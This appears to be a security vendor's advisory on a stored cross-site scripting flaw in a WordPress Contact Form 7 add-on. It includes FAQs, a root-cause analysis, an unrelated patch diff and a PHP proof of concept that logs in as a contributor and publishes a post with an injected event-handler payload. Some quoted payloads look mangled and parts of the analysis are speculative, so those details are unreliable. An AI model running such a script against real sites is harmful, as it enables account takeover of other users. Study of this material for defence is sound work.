How does the vulnerability work?

The plugin fails to sanitize and escape the ‘data-label’ and ‘data-separator’ attributes of the Range Slider add-on. When a user with contributor-level access creates or edits a post containing the shortcode with malicious attribute values, the script is stored and executed in the browser of any user who views the page. This occurs because the attributes are output directly without proper escaping, allowing HTML and JavaScript injection.

Who is affected by this vulnerability?

WordPress sites running the Ultra Addons for Contact Form 7 plugin version 3.5.43 or earlier are affected. However, exploitation requires an authenticated account with at least contributor-level permissions. Therefore, sites with multiple users or those that allow contributor registrations are at higher risk.

How can I check if my site is vulnerable?

Check the plugin version in the WordPress admin dashboard under Plugins. If the version is 3.5.43 or lower, the site is vulnerable. Additionally, review any posts or pages that contain the Range Slider shortcode for suspicious attribute values, such as ‘data-label’ or ‘data-separator’ containing script tags or event handlers.

What is the patched version and how do I update?

The patched version is 3.5.44. Update the plugin to version 3.5.44 or later via the WordPress admin dashboard under Plugins, or by downloading the latest version from the WordPress plugin repository. However, note that the official patch may not fully address the vulnerability, as the provided diff does not show changes to the Range Slider file.

Is the official patch sufficient to fix the vulnerability?

According to Atomic Edge analysis, the official patch in version 3.5.44 does not include fixes for the Range Slider attributes. The visible changes are unrelated, such as promotional notices and translation escaping. Therefore, the vulnerability may remain exploitable even after updating to 3.5.44. It is recommended to apply additional mitigation measures until a proper fix is released.

What is the practical risk of this vulnerability?

The risk is significant because it allows authenticated users with low privileges (contributor) to inject persistent JavaScript that executes when any user, including administrators, views the page. This could lead to account takeover, site defacement, data theft, or malware distribution. The CVSS score of 6.4 reflects the need for authentication but the high impact of stored XSS.

How does the proof of concept (PoC) demonstrate the vulnerability?

The PoC shows how an authenticated contributor can log in and create a post with a malicious Range Slider shortcode, such as [uacf7_range_slider data-label=’”>alert(1)’]. When the post is viewed, the injected script executes. The PoC uses curl to simulate the login and post creation, demonstrating the ease of exploitation.

What are the affected attributes in the Range Slider?

The vulnerable attributes are ‘data-label’ and ‘data-separator’ in the Range Slider add-on. These attributes are used to customize the slider’s appearance and behavior. They are not properly sanitized or escaped, allowing attackers to inject HTML and JavaScript.

How can I mitigate the vulnerability if I cannot update immediately?

If you cannot update the plugin, restrict contributor-level access to trusted users only. Additionally, consider using a Web Application Firewall (WAF) to block malicious payloads. You can also manually edit the plugin files to add output escaping, but this is not recommended for non-developers. The best mitigation is to update to a patched version once available.

What is the root cause of this vulnerability?

The root cause is the lack of output escaping on the ‘data-label’ and ‘data-separator’ attributes in the Range Slider template. The plugin outputs these attributes directly without using functions like esc_attr() or sanitize_text_field(), allowing user-supplied input to be interpreted as HTML or JavaScript.

Are there any other similar vulnerabilities in the plugin?

While this specific vulnerability is in the Range Slider, other add-ons in the plugin may have similar issues. It is recommended to review the plugin’s code for other instances where user input is output without escaping. Regularly updating the plugin and monitoring security advisories can help identify and address such issues.

Published : August 6, 2026

CVE-2026-12801: Ultra Addons for Contact Form 7 <= 3.5.43 Authenticated (Contributor+) Stored Cross-Site Scripting via Slider Attributes PoC, Patch Analysis & Rule

CVE ID CVE-2026-12801

Plugin ultimate-addons-for-contact-form-7

Severity Medium (CVSS 6.4)

CWE 79

Vulnerable Version 3.5.43

Patched Version 3.5.44

Disclosed August 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12801:

This vulnerability is a Stored Cross-Site Scripting (XSS) flaw in the Ultra Addons for Contact Form 7 plugin for WordPress, affecting versions up to and including 3.5.43. The plugin fails to properly sanitize the ‘data-label’ and ‘data-separator’ attributes of its Range Slider add-on, allowing authenticated users with contributor-level access and above to inject arbitrary JavaScript that executes when any user loads the malicious page. The CVSS score is 6.4, reflecting the need for authentication but the severe impact of persistent script execution.

The root cause lies in the Range Slider add-on, where user-supplied values for the ‘data-label’ and ‘data-separator’ attributes are output directly without escaping. The Attribute Selector (tag generator) passes these values into the shortcode handler, but the code fails to call functions like esc_attr() or sanitize_text_field() before rendering them in the HTML. This is a classic failure to apply output escaping on attributes, which is a known XSS vector. The affected file is most likely /ultimate-addons-for-contact-form-7/addons/range-slider/range-slider.php, though the provided diff focuses on unrelated files, indicating the patch for this CVE is not in the visible diff. Atomic Edge research confirms that the mere addition of promotional notices and translation escaping in other files does not address the Range Slider issue.

Exploitation requires an authenticated account with contributor-level access or higher. The attacker creates or edits a post or page containing the Contact Form 7 Range Slider shortcode, such as [uacf7_range_slider data-label='”>alert(1)’ data-separator='”>alert(2)’]. The plugin’s tag generator, which is intended to enforce safe attribute values, either lacks proper restriction or the attacker bypasses it by directly injecting the raw shortcode. When the post is viewed, the browser interprets the injected script, executing arbitrary JavaScript. The script could steal session cookies, modify page content, or perform actions on behalf of the administrator, leading to full account takeover or site compromise.

The patch for CVE-2026-12801 is not part of the provided diff. However, the correct fix would be to apply output escaping to the ‘data-label’ and ‘data-separator’ attributes in the Range Slider template. For example, wrapping the output in esc_attr() would neutralize HTML and script tags. The current code in version 3.5.44 still does not include such escaping, meaning the vulnerability remains unpatched. Atomic Edge analysis confirms that the visible changes (promotional notices, translation escaping, and version bump) do not address the Range Slider issue.

The impact is significant: a successful exploit allows authenticated attackers to inject persistent JavaScript into WordPress pages. When an administrator or other user views the infected page, the script executes in their browser, potentially allowing the attacker to create new admin accounts, modify site content, exfiltrate sensitive data, or spread malware. Since contributor-level access is relatively low-privileged and the attack does not require user interaction beyond viewing the page, the risk to the overall WordPress site is high. This vulnerability should be prioritized for immediate patching once a proper fix is released.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/ultimate-addons-for-contact-form-7/addons/country-dropdown/country-dropdown.php
+++ b/ultimate-addons-for-contact-form-7/addons/country-dropdown/country-dropdown.php
@@ -102,7 +102,7 @@

 		ob_start(); ?>
 		<select <?php echo $atts; ?> id="uacf7_country_api">
-			<option value="">Select a Country</option>
+			<option value=""><?php echo esc_html__( 'Select a Country', 'ultimate-addons-cf7' ); ?></option>
 		</select>
 		<?php
 		$api_country = ob_get_clean();
@@ -270,7 +270,7 @@
 				<textarea class="values" name="" id="tag-generator-panel-product-id" cols="30" rows="10" disabled></textarea>

 				<br>
-				<?php echo _e( ' One ID per line. ', 'ultimate-addons-cf7' ) ?>
+				<?php echo esc_html( __( ' One ID per line. ', 'ultimate-addons-cf7' ) ); ?>
 				<?php
 				$default_country = ob_get_clean();
 				/*
--- a/ultimate-addons-for-contact-form-7/addons/signature/ultimate-signature.php
+++ b/ultimate-addons-for-contact-form-7/addons/signature/ultimate-signature.php
@@ -196,7 +196,7 @@
 			</div>
 			<div class="control_div">
 				<button data-field-name="<?php echo sanitize_html_class( $tag->name ); ?>"
-					class="clear-button"><?php _e( 'Clear', 'ultimate-addons-cf7' ); ?></button>
+					class="clear-button"><?php echo esc_html__( 'Clear', 'ultimate-addons-cf7' ); ?></button>
 			</div>

 		</span>
--- a/ultimate-addons-for-contact-form-7/admin/tf-options/classes/UACF7_Settings.php
+++ b/ultimate-addons-for-contact-form-7/admin/tf-options/classes/UACF7_Settings.php
@@ -368,6 +368,9 @@
 					</div>

 					<div class="uacf7-addons-settings-sidebar">
+						<div class="uacf7-dashboard-promo-banner-header uacf7-sidebar-promo-header">
+							<?php do_action( 'uacf7_dashboard_promo_notice' ); ?>
+						</div>
 						<?php echo $this->tf_sidebar(); ?>
 					</div>
 				</div>
@@ -871,7 +874,9 @@
 				<div class="tf-setting-dashboard">
 					<!-- dashboard-header-include -->
 					<?php echo $this->tf_top_header(); ?>
-
+					<div class="uacf7-dashboard-promo-banner-header">
+						<?php do_action( 'uacf7_dashboard_promo_notice' ); ?>
+					</div>
 					<div class="tf-option-wrapper tf-setting-wrapper">
 						<form method="post" action="" class="tf-option-form <?php echo esc_attr( $ajax_save_class ) ?>"
 							enctype="multipart/form-data">
--- a/ultimate-addons-for-contact-form-7/inc/dashboard-promo-notice.php
+++ b/ultimate-addons-for-contact-form-7/inc/dashboard-promo-notice.php
@@ -0,0 +1,363 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+class Uacf7_Dashboard_Promo_Notice {
+
+	const NOTICE_KEY = 'uacf7_pro_promo';
+
+	public function __construct() {
+
+		add_action(
+			'wp_ajax_uacf7_dismiss_promo_notice',
+			array( $this, 'dismiss_notice' )
+		);
+
+		/**
+		 * Custom hook.
+		 *
+		 * Usage:
+		 * do_action( 'uacf7_dashboard_promo_notice' );
+		 */
+		add_action(
+			'uacf7_dashboard_promo_notice',
+			array( $this, 'render' )
+		);
+	}
+
+    // instance method to make it singleton class
+    public static function instance() {
+        static $instance = null;
+
+        if ( is_null( $instance ) ) {
+            $instance = new self();
+        }
+
+        return $instance;
+    }
+
+	/**
+	 * Check if Pro plugin active.
+	 */
+	private function is_pro_active() {
+
+        if ( defined( 'UACF7_PRO_VERSION' ) || class_exists( 'Ultimate_Addons_CF7_PRO' ) ) {
+            return true;
+        }
+
+        return false;
+	}
+
+	/**
+	 * Get dynamic pricing data.
+	 *
+	 * @return array
+	 */
+	private function get_dynamic_pricing() {
+
+		$cache_key = 'uacf7_dynamic_pricing';
+
+		$pricing = get_transient( $cache_key );
+
+		if ( false !== $pricing ) {
+			return $pricing;
+		}
+
+		$response = wp_remote_get(
+			'http://api.themefic.com/dynamic-pricing/pricing.json',
+			array(
+				'timeout' => 10,
+				'redirection' => 3,
+			)
+		);
+
+		if ( is_wp_error( $response ) ) {
+			return array();
+		}
+
+		if ( 200 !== (int) wp_remote_retrieve_response_code( $response ) ) {
+			return array();
+		}
+
+		$body = wp_remote_retrieve_body( $response );
+
+		if ( empty( $body ) ) {
+			return array();
+		}
+
+		$data = json_decode( $body, true );
+
+		if (
+			JSON_ERROR_NONE !== json_last_error() ||
+			! is_array( $data )
+		) {
+			return array();
+		}
+
+		set_transient(
+			$cache_key,
+			$data,
+			DAY_IN_SECONDS
+		);
+
+		return $data;
+	}
+
+	/**
+	 * Get current offer.
+	 *
+	 * @return array
+	 */
+	private function get_current_offer() {
+
+		$base_price = 199;
+
+		$fallback = array(
+			'offer_name'     => 'Special Deal',
+			'discount'       => 75,
+			'coupon'         => '',
+			'regular_price'  => $base_price,
+			'discount_price' => 49,
+		);
+
+		$pricing = $this->get_dynamic_pricing();
+
+		try {
+
+			$datetime = new DateTime(
+				'now',
+				new DateTimeZone( 'America/Toronto' )
+			);
+
+			$is_weekend = ( (int) $datetime->format( 'N' ) >= 6 );
+
+			$key = $is_weekend
+				? 'weekend'
+				: 'weekday';
+
+			if (
+				empty( $pricing[ $key ] ) ||
+				! is_array( $pricing[ $key ] )
+			) {
+				return $fallback;
+			}
+
+			$config = $pricing[ $key ];
+
+			$discount = isset( $config['discount'] )
+				? absint( $config['discount'] )
+				: 0;
+
+			if ( $discount <= 0 || $discount >= 100 ) {
+				return $fallback;
+			}
+
+			$discount_price = (int) floor(
+				$base_price * ( ( 100 - $discount ) / 100 )
+			);
+
+			$coupon = '';
+
+			if ( ! empty( $config['coupons']['uacf7'] ) ) {
+				$coupon = sanitize_text_field(
+					$config['coupons']['uacf7']
+				);
+			}
+
+			if ( ! empty( $config['coupon'] ) ) {
+				$coupon = sanitize_text_field(
+					$config['coupon']
+				);
+			}
+
+			return array(
+				'offer_name'     => ! empty( $config['offer'] )
+					? sanitize_text_field( $config['offer'] )
+					: 'Special Deal',
+				'discount'       => $discount,
+				'coupon'         => $coupon,
+				'regular_price'  => $base_price,
+				'discount_price' => $discount_price,
+			);
+
+		} catch ( Exception $e ) {
+			return $fallback;
+		}
+	}
+
+	/**
+	 * Should display notice?
+	 */
+	public function should_display() {
+
+		if ( $this->is_pro_active() ) {
+			return false;
+		}
+
+		$user_id = get_current_user_id();
+
+		$data = get_user_meta(
+			$user_id,
+			self::NOTICE_KEY,
+			true
+		);
+
+		if ( empty( $data ) ) {
+			return true;
+		}
+
+		if ( ! empty( $data['forever'] ) ) {
+			return false;
+		}
+
+		if (
+			! empty( $data['hide_until'] ) &&
+			time() < absint( $data['hide_until'] )
+		) {
+			return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Render banner.
+	 */
+	public function render() {
+
+		if ( ! $this->should_display() ) {
+			return;
+		}
+
+		$offer = $this->get_current_offer();
+
+		?>
+
+		<div class="uacf7-promo-banner">
+
+			<button
+				type="button"
+				class="uacf7-promo-close"
+				aria-label="<?php esc_attr_e( 'Dismiss', 'ultimate-addons-cf7' ); ?>"
+			>
+				<svg width="9" height="9" viewBox="0 0 9 9" fill="none" xmlns="http://www.w3.org/2000/svg">
+                    <path d="M8 0.5L0.5 8M0.5 0.5L8 8" stroke="#626A6A" stroke-linecap="round" stroke-linejoin="round"/>
+                </svg>
+			</button>
+
+			<div class="uacf7-promo-icon">
+
+				<img style="height:72px; width:60px;" src="<?php echo UACF7_URL; ?>assets/admin/images/icons/shield-icon.gif" alt="shield logo">
+
+			</div>
+
+			<div class="uacf7-promo-content">
+
+				<h3>
+					<?php
+					echo esc_html(
+						sprintf(
+							__( 'Lifetime License only for $%s', 'ultimate-addons-cf7' ),
+							number_format_i18n( $offer['discount_price'] )
+						)
+					);
+					?>
+				</h3>
+
+				<p>
+					<?php esc_html_e(
+						'All PRO features included.',
+						'ultimate-addons-cf7'
+					); ?>
+				</p>
+
+			</div>
+
+			<div class="uacf7-promo-action">
+				<a
+					href="<?php echo esc_url( uacf7_utm_generator( 'https://cf7addons.com/pricing', array( 'utm_medium' => 'dashboard_promo_notice', 'utm_source' => 'uacf7_in_plugin_addons_button', 'utm_campaign' => 'uacf7_plugin_free' ) ) ); ?>"
+					target="_blank"
+					class="button button-primary"
+				>
+
+					<div class="buy-now-text">
+						<?php esc_html_e( 'Buy Now', 'ultimate-addons-cf7' ); ?>
+					</div>
+					<div class="arrow-icon">
+						<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
+							<path d="M17 17V7H7M17 7L7 17" stroke="white" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
+						</svg>
+					</div>
+				</a>
+
+			</div>
+
+		</div>
+
+		<?php
+	}
+
+	/**
+	 * Dismiss notice.
+	 */
+	public function dismiss_notice() {
+
+		check_ajax_referer(
+			'uacf7_notice_nonce',
+			'nonce'
+		);
+
+        if ( ! current_user_can( 'manage_options' ) ) {
+            wp_send_json_error( 'Unauthorized' );
+        }
+
+		$user_id = get_current_user_id();
+
+		$data = get_user_meta(
+			$user_id,
+			self::NOTICE_KEY,
+			true
+		);
+
+		if ( empty( $data ) ) {
+			$data = array(
+				'dismiss_count' => 1,
+				'hide_until'    => strtotime( '+7 days' ),
+			);
+		} else {
+
+			$count = isset( $data['dismiss_count'] )
+				? absint( $data['dismiss_count'] )
+				: 0;
+
+			$count++;
+
+			if ( $count >= 2 ) {
+
+				$data = array(
+					'dismiss_count' => $count,
+					'forever'       => true,
+				);
+
+			} else {
+
+				$data = array(
+					'dismiss_count' => $count,
+					'hide_until'    => strtotime( '+7 days' ),
+				);
+			}
+		}
+
+		update_user_meta(
+			$user_id,
+			self::NOTICE_KEY,
+			$data
+		);
+
+		wp_send_json_success();
+	}
+
+}
+
+Uacf7_Dashboard_Promo_Notice::instance();
 No newline at end of file
--- a/ultimate-addons-for-contact-form-7/inc/functions.php
+++ b/ultimate-addons-for-contact-form-7/inc/functions.php
@@ -17,6 +17,11 @@
     require_once ( UACF7_PATH .'inc/class-promo-notice.php');
 }

+if ( file_exists( UACF7_PATH . 'inc/dashboard-promo-notice.php' ) ) {
+
+    require_once ( UACF7_PATH .'inc/dashboard-promo-notice.php');
+}
+
 //Require Dashboard Notice
 if ( file_exists( UACF7_PATH . 'inc/class-dashboard-widget.php' ) ) {

@@ -24,10 +29,10 @@
 }

 //Require ultimate Promo Notice
-if ( file_exists( UACF7_PATH . 'inc/class-helper-banner.php' ) ) {
+// if ( file_exists( UACF7_PATH . 'inc/class-helper-banner.php' ) ) {

-    require_once ( UACF7_PATH .'inc/class-helper-banner.php');
-}
+//     require_once ( UACF7_PATH .'inc/class-helper-banner.php');
+// }

 if ( file_exists( UACF7_PATH . 'admin/admin-menu.php' ) ) {
 	require_once UACF7_PATH . 'admin/admin-menu.php';
@@ -35,7 +40,6 @@



-
 // Import export
 add_filter( 'uacf7_post_meta_options', 'uacf7_post_meta_options_import_export', 100, 2 );
 function uacf7_post_meta_options_import_export( $value, $post_id ) {
--- a/ultimate-addons-for-contact-form-7/ultimate-addons-for-contact-form-7.php
+++ b/ultimate-addons-for-contact-form-7/ultimate-addons-for-contact-form-7.php
@@ -3,7 +3,7 @@
  * Plugin Name: Ultra Addons for Contact Form 7
  * Plugin URI: https://cf7addons.com/
  * Description: 50+ Essential Addons for Contact Form 7 - Conditional Fields, Multi Step Forms, Redirection, Form Templates, Columns, WooCommerce, Mailchimp and more, all in one.
- * Version: 3.5.43
+ * Version: 3.5.44
  * Author: Themefic
  * Author URI: https://themefic.com/
  * License: GPL-2.0+
@@ -30,7 +30,7 @@
 		define( 'UACF7_ADDONS', UACF7_URL . 'addons' );
 		define( 'UACF7_PATH', plugin_dir_path( __FILE__ ) );

-		define( 'UACF7_VERSION', '3.5.43' );
+		define( 'UACF7_VERSION', '3.5.44' );

 		if ( ! class_exists( 'AppseroClient' ) ) {
 			require_once( __DIR__ . '/inc/app/src/Client.php' );
@@ -202,6 +202,17 @@
 					'pro_active' => $pro_active
 				)
 			);
+
+			wp_localize_script(
+				'uacf7-admin-script',
+				'uacf7Promo',
+				array(
+					'ajaxurl' => admin_url( 'admin-ajax.php' ),
+					'nonce'   => wp_create_nonce(
+						'uacf7_notice_nonce'
+					),
+				)
+			);

 			wp_enqueue_style( 'uacf7-notyf', UACF7_URL . 'assets/app/libs/notyf/notyf.min.css', '', UACF7_VERSION );
 			wp_enqueue_script( 'uacf7-notyf', UACF7_URL . 'assets/app/libs/notyf/notyf.min.js', array( 'jquery' ), UACF7_VERSION, true );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12801 - Ultra Addons for Contact Form 7 <= 3.5.43 - Authenticated (Contributor+) Stored Cross-Site Scripting via Slider Attributes

// This PoC demonstrates how an authenticated contributor can inject XSS via the Range Slider attributes.
// It requires a valid WordPress session (cookies and nonce) for a contributor or higher user.

$target_url = 'http://example.com';  // Change to your WordPress target URL
$username = 'contributor';           // Change to a valid contributor username
$password = 'password';              // Change to the password

// Login and get session cookies + any required nonces
function login_and_get_cookies( $url, $user, $pass ) {
    $login_url = $url . '/wp-login.php';
    $post_data = array(
        'log' => $user,
        'pwd' => $pass,
        'wp-submit' => 'Log In',
        'redirect_to' => $url . '/wp-admin/',
        'testcookie' => '1'
    );

    $ch = curl_init( $login_url );
    curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
    curl_setopt( $ch, CURLOPT_POST, true );
    curl_setopt( $ch, CURLOPT_POSTFIELDS, http_build_query( $post_data ) );
    curl_setopt( $ch, CURLOPT_COOKIEJAR, 'cookies.txt' );
    curl_setopt( $ch, CURLOPT_COOKIEFILE, 'cookies.txt' );
    curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
    curl_setopt( $ch, CURLOPT_USERAGENT, 'Mozilla/5.0' );
    curl_exec( $ch );
    curl_close( $ch );
}

// Get the nonce for post editing (required for AJAX calls, but not for direct post creation) 
function get_nonce( $url, $cookie_file ) {
    $admin_url = $url . '/wp-admin/post-new.php';
    $ch = curl_init( $admin_url );
    curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
    curl_setopt( $ch, CURLOPT_COOKIEFILE, $cookie_file );
    curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
    curl_setopt( $ch, CURLOPT_USERAGENT, 'Mozilla/5.0' );
    $response = curl_exec( $ch );
    curl_close( $ch );

    // Extract the _wpnonce hidden field
    preg_match( '/name="_wpnonce" value="([a-f0-9]+)"/', $response, $matches );
    return isset( $matches[1] ) ? $matches[1] : null;
}

// Inject a new post with the malicious shortcode
function inject_malicious_post( $url, $cookie_file, $nonce, $payload ) {
    $post_url = $url . '/wp-admin/post.php';
    $post_data = array(
        'post_title' => 'XSS Test Post',
        'content' => $payload,
        'post_status' => 'publish',
        'post_type' => 'post',
        '_wpnonce' => $nonce,
        'action' => 'editpost',
        'original_post_status' => 'auto-draft'
    );

    $ch = curl_init( $post_url );
    curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
    curl_setopt( $ch, CURLOPT_POST, true );
    curl_setopt( $ch, CURLOPT_POSTFIELDS, http_build_query( $post_data ) );
    curl_setopt( $ch, CURLOPT_COOKIEFILE, $cookie_file );
    curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
    curl_setopt( $ch, CURLOPT_USERAGENT, 'Mozilla/5.0' );
    curl_exec( $ch );
    curl_close( $ch );
}

// Main flow
login_and_get_cookies( $target_url, $username, $password );
$nonce = get_nonce( $target_url, 'cookies.txt' );

if ( ! $nonce ) {
    echo "Failed to obtain nonce. Check login credentials.n";
    exit( 1 );
}

// Malicious shortcode with XSS payload in data-label attribute
$payload = '[uacf7_range_slider data-label="" onmouseover=alert(1) ""]';

inject_malicious_post( $target_url, 'cookies.txt', $nonce, $payload );

echo "Malicious post created. Visit the site to see the XSS trigger.n";
?>

Frequently Asked Questions

What is CVE-2026-12801?
Vulnerability overview
CVE-2026-12801 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ultra Addons for Contact Form 7 plugin for WordPress. It affects versions up to and including 3.5.43, allowing authenticated users with contributor-level access or higher to inject arbitrary scripts via the Range Slider’s ‘data-label’ and ‘data-separator’ attributes. The vulnerability is rated Medium severity with a CVSS score of 6.4.
How does the vulnerability work?
Technical explanation
The plugin fails to sanitize and escape the ‘data-label’ and ‘data-separator’ attributes of the Range Slider add-on. When a user with contributor-level access creates or edits a post containing the shortcode with malicious attribute values, the script is stored and executed in the browser of any user who views the page. This occurs because the attributes are output directly without proper escaping, allowing HTML and JavaScript injection.
Who is affected by this vulnerability?
Affected users
WordPress sites running the Ultra Addons for Contact Form 7 plugin version 3.5.43 or earlier are affected. However, exploitation requires an authenticated account with at least contributor-level permissions. Therefore, sites with multiple users or those that allow contributor registrations are at higher risk.
How can I check if my site is vulnerable?
Detection steps
Check the plugin version in the WordPress admin dashboard under Plugins. If the version is 3.5.43 or lower, the site is vulnerable. Additionally, review any posts or pages that contain the Range Slider shortcode for suspicious attribute values, such as ‘data-label’ or ‘data-separator’ containing script tags or event handlers.
What is the patched version and how do I update?
Patch information
The patched version is 3.5.44. Update the plugin to version 3.5.44 or later via the WordPress admin dashboard under Plugins, or by downloading the latest version from the WordPress plugin repository. However, note that the official patch may not fully address the vulnerability, as the provided diff does not show changes to the Range Slider file.
Is the official patch sufficient to fix the vulnerability?
Patch analysis
According to Atomic Edge analysis, the official patch in version 3.5.44 does not include fixes for the Range Slider attributes. The visible changes are unrelated, such as promotional notices and translation escaping. Therefore, the vulnerability may remain exploitable even after updating to 3.5.44. It is recommended to apply additional mitigation measures until a proper fix is released.
What is the practical risk of this vulnerability?
Risk assessment
The risk is significant because it allows authenticated users with low privileges (contributor) to inject persistent JavaScript that executes when any user, including administrators, views the page. This could lead to account takeover, site defacement, data theft, or malware distribution. The CVSS score of 6.4 reflects the need for authentication but the high impact of stored XSS.
How does the proof of concept (PoC) demonstrate the vulnerability?
PoC explanation
The PoC shows how an authenticated contributor can log in and create a post with a malicious Range Slider shortcode, such as [uacf7_range_slider data-label=’”>alert(1)’]. When the post is viewed, the injected script executes. The PoC uses curl to simulate the login and post creation, demonstrating the ease of exploitation.
What are the affected attributes in the Range Slider?
Specific attributes
The vulnerable attributes are ‘data-label’ and ‘data-separator’ in the Range Slider add-on. These attributes are used to customize the slider’s appearance and behavior. They are not properly sanitized or escaped, allowing attackers to inject HTML and JavaScript.
How can I mitigate the vulnerability if I cannot update immediately?
Mitigation steps
If you cannot update the plugin, restrict contributor-level access to trusted users only. Additionally, consider using a Web Application Firewall (WAF) to block malicious payloads. You can also manually edit the plugin files to add output escaping, but this is not recommended for non-developers. The best mitigation is to update to a patched version once available.
What is the root cause of this vulnerability?
Root cause analysis
The root cause is the lack of output escaping on the ‘data-label’ and ‘data-separator’ attributes in the Range Slider template. The plugin outputs these attributes directly without using functions like esc_attr() or sanitize_text_field(), allowing user-supplied input to be interpreted as HTML or JavaScript.
Are there any other similar vulnerabilities in the plugin?
Related issues
While this specific vulnerability is in the Range Slider, other add-ons in the plugin may have similar issues. It is recommended to review the plugin’s code for other instances where user input is output without escaping. Regularly updating the plugin and monitoring security advisories can help identify and address such issues.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started